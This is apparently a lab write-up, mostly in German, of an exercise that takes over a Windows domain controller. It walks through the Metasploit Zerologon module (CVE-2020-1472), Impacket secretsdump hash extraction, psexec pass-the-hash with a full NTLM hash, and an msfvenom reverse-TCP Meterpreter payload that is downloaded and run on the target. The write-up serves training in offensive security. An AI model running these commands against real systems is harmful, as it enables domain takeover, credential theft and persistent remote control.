
End-to-End-Domain-Controller-Ausnutzung mit Metasploit und Impacket: DC10 entdeckt, Zerologon (CVE-2020-1472) ausgenutzt, NTLM-Hashes extrahiert, SYSTEM-Shell erlangt und eine Meterpreter-Sitzung eingerichtet.
End-to-End-Domain-Controller-Ausnutzung mit Metasploit und Impacket: DC10 entdeckt, Zerologon (CVE-2020-1472) ausgenutzt, NTLM-Hashes extrahiert, SYSTEM-Shell erlangt und eine Meterpreter-Sitzung eingerichtet.
Zusammenfassung Diese Übung demonstriert eine vollständige, realistische Angriffskette gegen einen Domain Controller, der anfällig für CVE-2020-1472 (Zerologon) war. Das Engagement umfasste Entdeckung, Service-Anreicherung, Ausnutzung, Credential-Extraktion, laterale Bewegung und Post-Exploitation-Validierung. Ich habe erfolgreich SYSTEM-Ebene-Zugriff erlangt und eine persistente Meterpreter-Sitzung auf dem DC eingerichtet, unter Verwendung einer Kombination aus Zerologon, Impacket secretsdump + Pass-the-Hash und msfvenom/Meterpreter-Payloads. Screenshots und Befehlsartefakte wurden in jeder Phase als Beweise erfasst.
𝐋𝐚𝐛 𝐨𝐯𝐞𝐫𝐯𝐢𝐞𝐰: Simulated a full attack chain on a 𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐨𝐦𝐚𝐢𝐧 𝐂𝐨𝐧𝐭𝐫𝐨𝐥𝐥𝐞𝐫 using 𝐌𝐞𝐭𝐚𝐬𝐩𝐥𝐨𝐢𝐭 and 𝐈𝐦𝐩𝐚𝐜𝐤𝐞𝐭 ; discovery, Zerologon, secretsdump, pass-the-hash, and a controlled Meterpreter session.
𝐖𝐡𝐲 𝐢𝐭 𝐦𝐚𝐭𝐭𝐞𝐫𝐬 𝐭𝐨 𝐨𝐫𝐠𝐚𝐧𝐢𝐳𝐚𝐭𝐢𝐨𝐧𝐬: Because the DC controls authentication, group policy, and identity for the entire domain, a compromise can cascade into full business disruption, account takeovers, data exfiltration, ransomware deployment, and loss of regulatory trust. Protecting DCs safeguards uptime, revenue, and reputation by preventing attackers from turning identity into a single point of failure.
Sie haben zwei Maschinen in einem abgeschotteten Labornetzwerk. Ein System ist ein Windows-Domänencontroller (DC) namens DC10, der die zentralen AD-Dienste hostet. Das andere System ist eine Kali-Workstation, die sich zu Testzwecken im selben Server-Subnetz befindet. Es wird angenommen, dass der DC typische Domänendienste bereitstellt (z. B. LDAP, Kerberos, SMB) und möglicherweise anfällig für bekannte Probleme ist. Der Kali-Host soll für Reconnaissance, Exploitation, Credential Access, laterale Bewegung und Post-Exploitation-Validierung verwendet werden. Die Aufgabe besteht darin, den DC zu identifizieren, Domänendetails zu bestätigen, einen ersten Fuß zu fassen mithilfe einer geeigneten Technik, Credential-Material zu extrahieren, um administrativen Zugriff zu ermöglichen, und dann die Kontrolle über den DC durch eine Remote-Shell und eine Managed-Agent-Sitzung zu demonstrieren, während an die Umgebungsbeschränkungen wie gepatchte Dienste, eingeschränkten Egress oder Endpunkt-Abwehrmaßnahmen angepasst wird. DC: 10.1.16.1 Kali: 10.1.16.66
Ich verwendete msfconsole mit DB-Unterstützung, führte einen nmap-Sweep aus MSF heraus durch, importierte Ergebnisse und verfeinerte Hosts und Dienste, um die Exposition von DC10 zu bestätigen.
Ich führte einen SYN-Port-Scan in MSF durch, fingerprintete SMB und bestätigte LDAP und Kerberos auf 10.1.16.1. Ich fragte LDAP ab, um den Domänennamen abzurufen.
### SMB-Versionsprüfung
auxiliary/scanner/smb/smb_version.
auxiliary/gather/ldap_query.
Ich führte auxiliary/admin/dcerpc/cve_2020_1472_zerologon gegen DC10 aus, um das Computerkonto-Passwort auf leer zurückzusetzen.
Mit Impacket dumpste ich NTLM-Hashes vom DC und identifizierte Administrator-Anmeldedaten für Pass-the-Hash.
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
Ich verwendete Pass-the-Hash mit psexec, um eine SYSTEM-Shell auf DC10 zu erlangen, und validierte die Host-Identität.
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
Wie Sie sehen können, bin ich bereits in C:\Windows\system32
Ich erstellte ein reverse_tcp Meterpreter-Payload, hostete es über HTTP, lud es auf DC10 herunter, startete einen Handler und führte das Payload aus, um eine Meterpreter-Sitzung zu öffnen.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
Ich startete einen einfachen Webserver, damit das Zielsystem dieses Meterpreter-Executable leicht herunterladen konnte, indem ich verwendete:
python3 -m http.server 8080
Auf dem Zielsystem führte ich das Meterpreter-Executable (secret.exe) aus
Wie Sie sehen können, habe ich nun eine Reverse-Shell-Verbindung zwischen dem Ziel-DC10 und den Kali-Systemen hergestellt. Dies wurde nur durch externe/Remote-Exploits gegen das anfällige Ziel erreicht.
Während sich das Kali-System im selben Server-Subnetz wie das DC10-Ziel befindet, sind diese Arten von Angriffen über das Internet möglich, wenn das Zielsystem dem offenen Internet ausgesetzt ist.